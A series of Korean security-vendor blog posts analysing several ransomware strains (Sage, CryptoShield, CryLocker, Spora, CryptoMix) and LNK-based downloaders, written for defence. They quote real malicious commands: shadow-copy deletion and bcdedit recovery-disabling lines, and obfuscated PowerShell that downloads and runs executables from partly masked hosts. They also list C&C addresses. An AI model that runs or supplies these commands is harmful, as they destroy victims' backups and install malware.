Sage2.0 랜섬웨어는 maps.googleapis.com에 감염 시스템의 SSID, MAC 주소를 쿼리한다. 이를 통해 해당 랜섬웨어의 감염 분포를 파악하는 것으로 보인다.

[그림 5] maps.googleapis.com 이용한 사용자 위치 정보 쿼리


파일 암호화 후 아래 표와 같이 볼륨 쉐도우를 및 부팅 구성 데이터 편집기(bcdedit.exe)를 이용해 복구 무력화를 진행한다.

명령어

기능

vssadmin.exe  Delete Shadows /All /Quiet

볼륨 쉐도우 삭제

bcdedit /set {default} bootstatuspolicy ignoreallfailures

Windows 오류 복구 알림창 표시 끔

bcdedit  /set {default} recoveryenabled No

복구 모드 사용 안함

[표 5] 사용자의 복구를 막는 명령어와 기능


데이터 베이스 파일의 쓰기 권한이 OS에 의해 차단 될 수 있기 때문에 [표 6]에 해당하는 프로세스가 실행 중이면, 프로세스를 종료한다

종료 할 프로세스 명

msftesql.exe

sqlagent.exe

sqlbrowser.exe

sqlservr.exe

sqlwriter.exe

oracle.exe

ocssd.exe

dbsnmp.exe

synctime.exe

mydesktopqos.exe

agntsvc.exe

isqlplussvc.exe

xfssvccon.exe

mydesktopservice.exe

ocautoupds.exe

agntsvc.exe

encsvc.exe

firefoxconfig.exe

tbirdconfig.exe

ocomm.exe

mysqld.exe

mysqld-nt.exe

mysqld-opt.exe

dbeng50.exe

sqbcoreservice.exe

[표 6] 종료 할 프로세스 명


감염된 파일은 [원본파일명].sage로 변경된다.

[그림 6] 암호화 된 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

 

현재 V3 에서는 Sage2.0 / 2.2 랜섬웨어는 다음 진단명으로 진단하고 있다.

- Trojan/Win32.SageCrypt (2017.02.15.00)


[추가 변형]

2017년 4월 21일 발견된 SageCrypt가 기존과 다르게 C&C에 접속하지 않는 변형이 발견되었다.

확인 결과 코드 상 C&C접속을 시도하는 부분은 그대로 존재하였으나, %APPDATA%[랜덤명].tmp와 의 연산을 통해 조건이 성립 할 때만 접속시도 하는 것으로 확인되었다.

 

[그림 7] 수정된 코드

이 외에도 랜섬 노트가 SAGE 2.X(버전) Ransomware! 에서 SAGE Ransomware로 변경되었고, 대상 나라, 감염 제외경로도 다수 추가되었다.

[그림 8] 수정된 랜섬노트

[그림 9] 대상 나라가 추가 된 금전요구 화면

[표 7] 감염 제외 경로 추가


현재 V3 에서는 변형 Sage 랜섬웨어에 대하여 다음 진단명으로 진단하고 있다.

- Trojan/Win32.SageCrypt (2017.04.22.00)

- Win-Trojan/Sagecrypt.Gen (2017.04.27.07)


신고
Posted by 이보원

CrpytoMix의 변종으로 알려진 CryptoShield 2.0 (1.0 -> 1.1 -> 1.2 -> 2.0, 버전별 간략한 특징은 글 하위에 정리함) 국내에서 유포되고 있는 것을 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD (AhnLab Smart Defense) 에서 확인 되었다. CryptoShieldCryptoMix와 유사한 점도 많지만 버전이 올라갈수록 대상 확장자의 증가, 윈도우 기본 유틸리티를 이용한 윈도우 복구 기능의 무력화 기능이 추가됨에 따라 더 악의적으로 진화하는 랜섬웨어의 면모를 갖추고 있다. 사용자가 체감할 수 있는 CryptoMix 와의 가장 큰 변화는 다음과 같다.

[그림-1] CryptoMix에서 변화한 CryptoShiled 2.0 HTML 랜섬노트

CryptoMix의 경우 랜섬노트가 단순한 텍스트 파일만 생성하던 것과는 다르게 상기 그림과 같이 감염된 파일이 있는 경로마다 HTML 파일을 추가하여 생성하고 감염 후 실행시킨다. HTML 파일의 내용은 상기 [그림-1]과 같다.

유포방식은 CryptoMix (클릭 시 블로그내 분석 정보로 연결)와 유사하게 Rig-V EK (SWF 취약점 CVE-2015-8651 )를 이용하였으며 취약점이 존재하는 웹 페이지를 방문할 시 사용자도 모르게 CryptoShield에 의해 파일들이 암호화가 된다.

 

최근 버전의 CryptoShield 2.0의 암호화 대상 확장자는 1200여개(버전 1.0의 경우 454)CryptoMix 와 유사하며 아래한글 확장자인 .hwp 도 포함 된 것을 알 수 있다.

 

[그림-2] CryptoShield 2.0기준 암호화 대상 확장자 일부

사용자의 컴퓨터 모든 드라이브(C~Z)를 탐색하며 상기 확장자 파일은 모두 암호화 한다. 하지만 CryptoMix와 같이 경로에 다음 특정 문자열이 있을 경우(ex: c:\WINDOWS) 해당 폴더내 파일은 암호화 하지 않는다.

WINDOWS

PACKAGES

COOKIES

PROGRAMDATA

MICROSOFT

BOOT

APPLICATION DATA

WINNT

TMP

INETCACHE

NVIDIA

SYSTEM VOLUME INFORMATION

$RECYCLE.BIN

TEMP

WEBCACHE

CACHE

PROGRAM FILES (X86)

PROGRAM FILES

TEMPORARY INTERNET FILES

APPDATA

[-1] 암호화 제외 경로 문자열


 

암호화가 진행되면 파일은 다음과 같이 변경된다[그림-3] 암호화 된 파일의 변경 전() 변경 후(아래)

CryptoMix와 차이점은 ROT13 ( Rotate by 13 places ) 을 이용하여 파일명을 암호화 한 뒤 확장자인 .CRYPTOSHIELD. (버전2.0 기준 파일 확장자 끝 . 추가 됨)을 붙인다. 파일명이 한글이나 숫자일 경우는 변경하지 않고 확장자만 변경한 뒤 .CRYPTOSHILED.을 추가한다.

 

[그림-4] ROT13 암호화 알고리즘(ex: Penguins.jpg -> CRATHVAF.WCT)

출처 - https://ko.wikipedia.org

파일 암호화를 마친 뒤 CryptoMix와 같이 윈도우 기본 유틸리티를 이용한 볼륨 쉐도우 삭제 및 부팅 구성 데이터 편집기(bcdedit.exe)를 이용하여 윈도우 복구 무력화를 진행한다

명령어

기능

vssadmin.exe  Delete Shadows /All /Quiet

볼륨 쉐도우 삭제

Net stop vss

볼륨 쉐도우 서비스 중지

bcdedit /set {default} bootstatuspolicy ignoreallfailures

Windows 오류 복구 알림창 표시 끔

bcdedit  /set {default} recoveryenabled No

복구 모드 사용 안함

vssadmin.exe  Delete Shadows /for=%c: /All /Quiet

(%c= a ~ z)

a~z 드라이브에 있는 볼륨 쉐도우 삭제(버전 1.2 추가)

[-2] 사용자의 복구를 막는 명령어와 기능

 

다른 랜섬웨어인 LockyCerber와는 다르게 CryptoMix 처럼 특정경로에 자기 복제 후 원본 랜섬웨어와 함께 모두 레지스트리 Run 키에 등록하여 재부팅 후에도 다시 동작하게 설정해둔다 

[그림-4] 레지스트리 Run 키에 등록된 랜섬웨어 

레지스트리

DATA

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows SmartScreen Updater

원본 랜섬웨어

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows SmartScreen

복사된 랜섬웨어

[-3] CryptoShiled 레지스트리 등록 정보(*변형마다 다름)

CryptoShield는 네트워크 접속하여 사용자의 정보를 전송하고 종료된다.

접속 주소

45.76.81.110/test_site_scripts/moduls/connects/mailsupload.php

107.191.62.136/js/prettyPhoto/images/prettyPhoto/default/information.php

[-4] CryptoShield 네트워크 접속 정보(*변형마다 다름)

 참고로 각 버전 별 간략한 특징은 다음과 같다

 

CryptoShield 1.0

CryptoShield 1.1

CryptoShield 1.2

CryptoShield 2.0

암호화 확장자

.CryptoShield

.CryptoShield

.CryptoShield

.CryptoShield.

랜섬노트 버전

CryptoShield 1.0

CryptoShield 1.1

CryptoShield 1.2

CryptoShield 2.0 Dangerous

Windwos복구 무력화 명령어

4

4

5

5

암호화 대상 확장자

454

1209

1209

1209

랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

현재 V3 에서는 CryptoShield 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.CryptoShield(2017.02.03.00)

- Win-Trojan/CryptoShield.Gen (2017.02.07.00)

신고
Posted by JYP

작년 9Rig Exploit kit, Sundown Exploit kit SWF 취약점 통해 유포되는 CryLocker 랜섬웨어가 최초 발견되었다.

국내에 많이 알려진 다른 랜섬웨어 (Cerber, Locky )와의 차이점은 사용자 정보를 이미지 호스팅 웹사이트(Imgur), 익명 텍스트 파일 공유사이트(pastebin)에 업로드 하는 것이다.

CryLocker 랜섬웨어는 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 파일 암호화 후 아래와 같은 화면을 띄워 사용자에게 금전적 요구를 한다.

[그림 1] 복호화 방법과 금전을 요구하는 랜섬노트


파일이실행 되면 복호화 관련 안내파일과 자신과 동일한 파일을 %temp% 폴더에 생성한다.

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\[랜덤명].html

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\[랜덤명].exe

 

그리고, 다음 예와 같이 시작 프로그램 경로와 %temp%폴더에 생성한 두 파일에 대하여 랜덤명으로 바로가기(*.lnk) 파일을 생성한다. 이로 인해 감염이 이루어지지 않은 파일들에 대해서 추가 감염을 일으킬 수 있다.

- C:\Documents and Settings\[사용자 계정]\시작 메뉴\프로그램\시작프로그램\MWTYtBtR.lnk

- C:\Documents and Settings\[사용자 계정]\시작 메뉴\프로그램\시작프로그램\6KhIcB4O.lnk 


[그림 2] 원본 파일과 동일한 랜섬웨어를 실행하는 바로가기 (*.lnk)파일

[그림 3] 복호화 관련 안내 파일을 실행하는 바로가기 (*.lnk)파일


암호화 대상 드라이브는 “A:\ ,B:\ “를 제외 한 하드 디스크 드라이브, 네트워크 드라이브, 램 디스크 드라이브다.

[그림 4] 대상 드라이브 찾는 코드

[그림 5] GetDriveTypeW의 값


위를 통해 구한 감염 대상 드라이브를 순회하며 암호화를 진행한다. 이 때, 아래 [ 1]에 해당하는 문자열이 존재하는 폴더는 암호화 대상에서 제외된다.


암호화 제외 경로 문자열

tmp

Temp

winnt

Application Data

Appdata

ProgramData

Program Files (x86)

Program Files

$Recycle.Bin

$RECYCLE.BIN

System Volume Information

Boot

Windows

WinSxS

DriverStore

League of Legends

steamapps

cache2

httpcache

GAC_MSIL

GOG Games

Games

My Games

Cookies

History.IE5

History.IE5

node_modules

All Users

AppData

ApplicationData

nvidia

intel

Microsoft",LF

MY_QWemsadkjasd

 

[1] 암호화 제외 경로 문자열


암호화 대상 확장자는 600개 이상이며, 아래한글 확장자인 .hwp도 포함 되어있다.

본문의 처음에 언급했듯 해당 랜섬웨어는 “MachineID, User Name, ComputerName” 등과 같은 사용자 정보를 무료 웹 사이트에 전송한다.

-       pastee.org

-       imgur.com


파일 암호화 후 아래 표와 같이 볼륨 섀도우를 삭제하여 Windows 운영체제에서 제공하는 파일 백업 및 복원 기능을 사용할 수 없게 한다.

명령어

기능

vssadmin.exe delete shadows /all /quiet

볼륨 쉐도우 삭제

[3] 볼륨 섀도우 삭제


그리고, 기존 바탕화면에 존재하는 바로가기 파일(*.lnk)에 대해 “old_shortcut” 폴더를 만들어 모두 옮긴다.

[그림 6] 바탕화면에 생성된 폴더/파일


감염 된 파일은 [원본파일명.cry]로 변경된다.

[그림 7] 감염 된 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.


현재 V3 에서는 Crylocker 랜섬웨어는 다음 진단명으로 진단하고 있다

- Trojan/Win32.Ransom (2016.09.02.04)

신고
Posted by 이보원

바로가기(.lnk) 파일을 생성하여 지속적인 감염을 유도하는 Spora 랜섬웨어가 해외에서 발견되었다

최초 발견 당시 러시아를 타겟으로 청구 PDF’문서로 가장한 악성 HTA파일(MD5 : 37477dec05d8ae50aa5204559c81bde3, V3 진단 : VBS/Saclesto(2017.02.20.00))을 메일에 첨부하여 스팸 형태로 유포되었다. HTA파일은 HTML 어플리케이션으로서 내부의 스크립트를 브라우저 없이 실행 가능한 형태로 만들어진 파일이다. 첨부 된 HTA파일을 실행할 경우 Spora 랜섬웨어가 생성 및 실행되어 감염을 일으킨다.

최근에는 스팸 메일 뿐 아니라 Rig-V Exploit kit을 통하여 SWF Flash 취약점을 이용하거나 Chrome사용자를 타겟으로 허위 Popup 창을 통해 접근 유도하여 유포하는 것을 알 수 있다.


[그림 1] - 유포 방식 구조 


[그림 2] - Case3. 허위 Update 클릭 유도하는 Chrome Popup

*출처: Malware-Traffic-Analysis.net


Spora 랜섬웨어 실행 파일은 Visual C로 작성 되었으며 때에 따라 UPX로 팩 되어 유포된다. 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 아래와 같은 명령으로 볼륨 쉐도우 카피를 삭제하여 Windows 운영체제에서 제공하는 파일 백업 및 복원 기능을 사용할 수 없게 한다


WIMC를 이용한 명령 수행

"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"




[표 1] - WMIC 명령어


감염 시에는 아래와 같은 23개 확장자 파일들이 암호화 되며 최상위 드라이브에 복구와 관련한 .HTML, .KEY, .LST 파일, 바로가기 (.lnk) 파일 및 원본 Spora 랜섬웨어 복사본이 숨김 속성으로 생성된다. 기존에 존재하던 폴더는 아래와 같이 숨김 속성으로 변하고 그 이름으로 바로가기 파일들이 생성되기 때문에 폴더 접근을 원하는 사용자는 바로가기 파일을 폴더로 착각하여 실행 할 수 있다


암호화 대상 파일 확장자

.backup, .zip, .rar, .7z, .pdf, .xls, .xlsx, .doc, .docx, .rtf, .odt, .cd, .mdb, .1cd, .dbf, . sqlite, .accdb,

.jpg, .jpeg, .tiff, .cdr, .psd, .dwg




[표 2] - 암호화 대상 확장자


[그림 3] - 감염 후 변경 된 최상위 폴더


생성 된 바로가기(.lnk) 파일은 다음과 같은 명령을 수행한다.


[그림 4] - 바로가기 파일 명령


따라서 바로가기 파일 실행 시 원본이 복사 된 Spora 랜섬웨어 파일이 실행된다.

그리고 USB가 연결 된 후 감염이 이루어지면 USB 최상위 경로에도 바로가기 파일이 생성되기 때문에 감염 USB를 다른 시스템에 연결 후 바로가기 파일을 실행한다면 추가 전파 피해가 발생 할 수 있다.  

또한 Spora 랜섬웨어는 다른 랜섬웨어와 다르게 감염 후 파일명 및 확장자를 변경하지 않는다. 따라서 파일을 열기 전에 파일명만으로는 감염여부를 짐작할 수 없다.


[그림 5] - 파일명은 감염 전과 동일하지만 내부 데이터 변경으로 열리지 않음


모든 감염이 끝난 후 복구관련 안내 화면을 확인 할 수 있다. 감염 후에 생성 된 감염자의 고유한 번호를 통해 복구 화면(https://spora.bz)으로 이동하면 복구 시 지불해야 하는 가격이 표시된다. 또한 감염자의 고유번호로 페이지에 로그인하면 제작자와의 채팅기능이 활성화 된다.


[그림 6] - 감염 후 실행 된 .HTML 파일


[그림 7] - 감염 후 실행 된 .HTML 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 시 사용자의 각별한 주의가 필요하다.

현재 V3에서는 Spora 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.Spora (2017.01.17.04)



신고
Posted by chloechoi

HydraCrypt 변형으로 알려진 CryptoMix 랜섬웨어가 국내 발견 되었다. 해외에서는 작년 말 관공서 및 학교에 사회공학적 기법을 이용해 유포되어 유명해 졌으며 2017년 초 국내에 상륙한 것을 확인하였다. 한편 CryptoMix 와 유사한 CryptoShield 랜섬웨어도 국내 발견 되었다. 해당 랜섬웨어 대한 정보는 조만간 본 블로그를 통하여 게시할 예정이다.

CryptoMix2016년 말 미국 내에서 스팸 메일을 이용해 유포가 활발하였고 타겟은 관공서 직원 및 학교 선생님 대상으로 발송된 것으로 보도되었다.

(*출처: https://www.proofpoint.com/us/threat-insight/post/cryptfile2-ransomware-returns-in-high-volume-url-campaigns)

최근 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD(AhnLab Smart Defense)에서는 취약점에 의해 CryptoMix가 생성된 것으로 로그가 확인 되었다. 현재 유포 방식을 작년 말과는 다르게 변경한 것으로 보인다. 또한 20171월 기준 CryptoMixRig-V EK(Exploit Kit)에 의해 유포된 것으로 해외 블로그(malware-traffic-analysis.net: 주로 악성코드 감염과 관련된 네트워크 트래픽 정보를 포스팅 함)에 언급 되어있다.

 

[그림-1] RIG-V EKCryptoMix 동작도

정상 웹 사이트에 취약점이 있는 웹 페이지로 유도하는 스크립트를 삽입하는 공격으로부터 시작 되는 RIG-V EK 는 주로 SWF (CVE-2015-8651) 취약점을 사용한다. 취약점이 존재하는 경우 사용자는 정상적인 웹 사이트를 방문 시 접속만으로도 CryptoMix 랜섬웨어가 실행 되어 컴퓨터 내의 파일들이 암호화 된다.


많이 알려진 LockyCerber 랜섬웨어와는 다르게 CrptoMix 감염될 시 바탕화면이 변경되지는 않지만 아래 그림과 같은 텍스트 파일을 실행시켜 사용자에게 감염된 것을 인지 시켜준다.

[그림-2] 랜섬웨어 경고 텍스트

 

CrptoMix에 암호화된 파일명은 다음과 같이 변경된다.

-       원본파일명.email[****@post.com]_id[pcid].lesli (메일주소 일부 * 처리)

 

[그림-3] 암호화된 파일의 변경된 파일명


 

CryptoMix 로 암호화된 파일의 확장자는 변형 별로 다음과 같이 변경되었다.

암호화된 파일의

변경된 확장자

.code

.scl

.lesli

.rmd

.rmdk

[-1] 감염된 파일의 변경된 확장자 변경 정보

CryptoMix 암호화 대상 확장자는 약 1200여개 이며 [-2]에는 일부만 기술하였다

[-2] 암호화 대상 확장자 일부

CryptoMix1200여개의 확장자를 암호화 대상으로 하고 있으며 위 [-2] 에서 확인할 수 있듯이 아래한글 확장자인 .hwp 도 포함되어 있다.

 

하기 [-3]에 있는 문자열이 포함된 경로(ex: c:\windws)는 암호화를 진행하지 않으며 자기자신이 있는 경로의 파일도 암호화 하지 않는다.

windows

packages

cookies

programdata

microsoft

boot

application data

winnt

tmp

inetcache

nvidia

system volume information

$recycle.bin

temp

webcache

cache

program files (x86)

program files

temporary internet files

appdata

[-3] 암호화 제외 경로 문자열


 

파일 암호화 후 CryptoMix 는 아래 [-4]와 같이PC의 볼륨 쉐도우 삭제 및 부팅 구성 데이터 편집기(bcdedit.exe)를 이용해 복구 무력화를 진행한다.

명령어

기능

vssadmin.exe  Delete Shadows /All /Quiet

볼륨 쉐도우 삭제

wmic  shadowcopy delete

볼륨 쉐도우 삭제

net  stop vss

볼륨 쉐도우 서비스 중지

bcdedit /set {default} bootstatuspolicy ignoreallfailures

Windows 오류 복구 알림창 표시 끔

bcdedit  /set {default} recoveryenabled No

복구 모드 사용 안함

wbadmin delete catalog –quiet

백업 카탈로그 삭제

[-4] 사용자의 복구를 막는 명령어와 기능

일반적인 랜섬웨어는 파일을 암호화하여 목적 달성 후 흔적을 없애기 위해 자가 삭제하지만 CryptoMix의 경우 특정경로에 자기 복제 후 원본파일과 함께 모두 레지스트리 Run키에 등록하여 재부팅 후에도 다시 동작하여 감염을 하게 한다.

 

[그림-4] 레지스트리에 등록된 랜섬웨어

레지스트리

DATA

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Spy Security SoftWare

본 랜섬웨어

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\*Spy Security SoftWare

복사된 랜섬웨어

[-5] CryptoMix 레지스트리 등록 정보(*변형마다 다름)

CryptoMix는 네트워크 접속하여 사용자의 정보를 전송하고 종료된다.

접속 주소(일부 주소 * 처리)

37.59.39.53/os_information/010517/statistic_valid_os.php?info=**

176.123.26.7/offser_valid/pobin_validator/098019_203405/ms_statistic_os_key.php?info=**

[-6] CryptoMix 네트워크 접속 정보(*변형마다 다름)


 

랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

현재 V3 에서는 CryptoMix 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.CryptoMix (2017.01.26.00)

- Win-Trojan/CryptoMix.Gen (2017.01.26.00)

신고
Posted by JYP

2016년부터 20172월 현재까지 랜섬웨어 관련 바로가기(*.lnk) 악성코드가 꾸준히 발견되고 있다.

이메일 등에 첨부 된 형태로 유포되고, 워드 매크로 파일 내부에 존재해 매크로가 실행되면서 실행되기도 한다.

 

바로가기(*.lnk)Shell Link Binary File Format으로 다른 데이터를 접근하는데 필요한 정보를 포함하는 데이터이다.


[그림 1] LNK 구조

 

바로가기 파일(*.lnk)을 이용한 랜섬웨어는 주로 String Data를 이용하고, 최근 Extra data를 이용한 랜섬웨어도 발견되었다. Spora 랜섬웨어와 VenusLocker가 대표적으로 LNK를 이용한 랜섬웨어다.


랜섬웨어 관련 LNK 악성코드를 크게 세가지로 분류 할 수 있다.

1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2.     Powershell을 이용한 바로가기(*.lnk)

3.     VenusLocker에서 이용하는 바로가기(*.lnk)

 

발견 시점

주요 특징

2016년 이전

스크립트를 이용한 다운로더

20161

Powershell을 이용한 다운로더

201611

Powershell‘^’ 문자 추가

20171

Powershell function, 변수를 이용

20171

LNK구조(Extra data block)를 이용

[1] 2016년 이후 랜섬웨어 관련 바로가기(*.lnk) 악성코드


1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2016년 이전에는 바로가기(*.lnk) 악성코드는 .js, .vbs, .vbe 등 스크립트 파일을 실행시키고, 추가 악성행위를 하였으나 작년부터는 바로가기(*.lnk) 악성코드는 powershell을 이용해 악성 파일을 다운로드 하는 형태로 변화하였다.


[그림 2] .vbe를 실행시키는 바로가기(*.lnk)


2.     Powershell을 이용한 바로가기(*.lnk)

20161월 최초 발견된 Powershell을 이용한 랜섬웨어 다운로더 형태는 다운로드 주소와 저장되는 폴더/파일명을 평문으로 볼 수 있는 형태였다. [그림 3]

  

[그림 3] powershell을 이용한 LNK악성코드 (평문 데이터)

 

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden

(new-object System.Net.WebClient).DownloadFile('http://2**.**4.5**.**5:1**3/KJSA76.exe',

'%TEMP%\KJSA76.exe'); Start-Process "%TEMP%\KJSA76.exe"

[2] LNK악성코드 (평문 데이터)


201611월에 발견된 변형은 문자열 사이에 ‘^’ 문자가 추가되었다. 이는 Powershell을 실행하는데 문제는 없지만 백신진단을 우회하기 위해 나온 변형으로 보인다. [그림 4]

 

 

[그림 4] Powershell을 이용한 LNK악성코드 (‘^’ 문자)


C:\Windows\System32\cmd.exe /c "P^o^Wer^Sh^e^ll.^exe -exEc^UtIonPolICy bYpaS^S -^NoPrOF^ILe (^N^EW-ob^jEcT systeM.NET.wEB^clIE^nT).DoWnLO^a^d^Fil^e^

('http://**6.3**.**3.**7/gite.exe','%appDatA%.exE')^;^s^TA^rt^-P^RoceSs^ %appDatA%.exE"

[3] LNK악성코드 (‘^’ 문자)


그리고, 현재 유포되고 있는 형태는 20171월에 발견되었다. 단순 Download 명령을 사용하는

것이 아닌 함수와 변수 등을 이용해 악성 파일을 다운로드 받는 형태로 발전하였다. [그림 5]


[그림 5] Powershell을 이용한 악성코드 (함수, 변수 이용)


 

-ExecutionPolicyByPass -NoProfile -command  function g($f) { Start $f; }; $ll = 'sparkle**.com','res**.com','cre**.com','lu**.com','**.net'; $y = New-Object System.Net.WebClient; $ld = 0; $cs = [char]92; $fn = $env:temp+$cs; $lk = $fn+'a.txt'; if (!(Test-Path $lk)) { New-Item -Path $fn -Name 'a.txt' -ItemType File; for($n=1; $n -le 2; $n++) { for($i=$ld; $i -lt $ll.length; $i++) { $dn = 0; $f = $fn+'a'+$n+'.exe'; $u = 'http://'+$ll[$i]+'/counter/?i=(생략)&r='+$i+$n; $y.DownloadFile($u, $f); if (Test

-Path $f) { $var = Get-Item $f; if ($var.length -gt 10000) { $dn = 1; g($f); }; if($dn -eq 1) { $ld=$i; break; }; }; }; }; };

[4] LNK악성코드 (함수, 변수 이용)


 최근 국내에 유포 된 VenusLocker 랜섬웨어도 바로가기(*.lnk)를 이용하여 랜섬웨어를 실행시킨다.

( VenusLocker 랜섬웨어 정보 : http://asec.ahnlab.com/1054 )

[그림 6]과 같이 속성을 보면 자격증.jpg 이미지 파일을 실행하는 것으로 보여 일반 사용자들은 정상 파일로 오인하기 쉽다.


 

[그림 6] VenusLocker 바로가기(*lnk)


그러나, LNK 구조를 이용한 VenusLocker_korean.exe를 실행하는 악성 바로가기 파일이다.

[그림 7] Extra data Block에 존재하는 악성 실행 파일

 

Extra Data는 링크 대상에 대한 추가적인 정보를 나타내는 구조체 집합이다. 이 구조체는 기본 Shell Link Binary File Format에 추가 된 extra data section에 존재한다.


**참고자료 

MSDN :https://msdn.microsoft.com/en-us/library/dd891253.aspx

 

악성 코드는 스팸 메일을 통해 유포되고, 문서파일 내부 매크로에 존재하는 경우가 많으므로 출처를 알 수 없는 메일의 첨부파일은 열지 않도록 한다.

그리고, 항상 최신 버전의 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.

 

현재 V3에서는 LNK 악성코드를 다음과 같은 진단명으로 진단하고 있다.

-       LNK/Agent (2016.01.15.00)

-       LNK/Downloader (2016.01.21.00)

-       LNK/Powershell (2016.09.09.00)

-       LNK/Runner.Gen (2016.12.22.03)

-       LNK/Venuslocker (2017.01.20.00)

신고
Posted by 이보원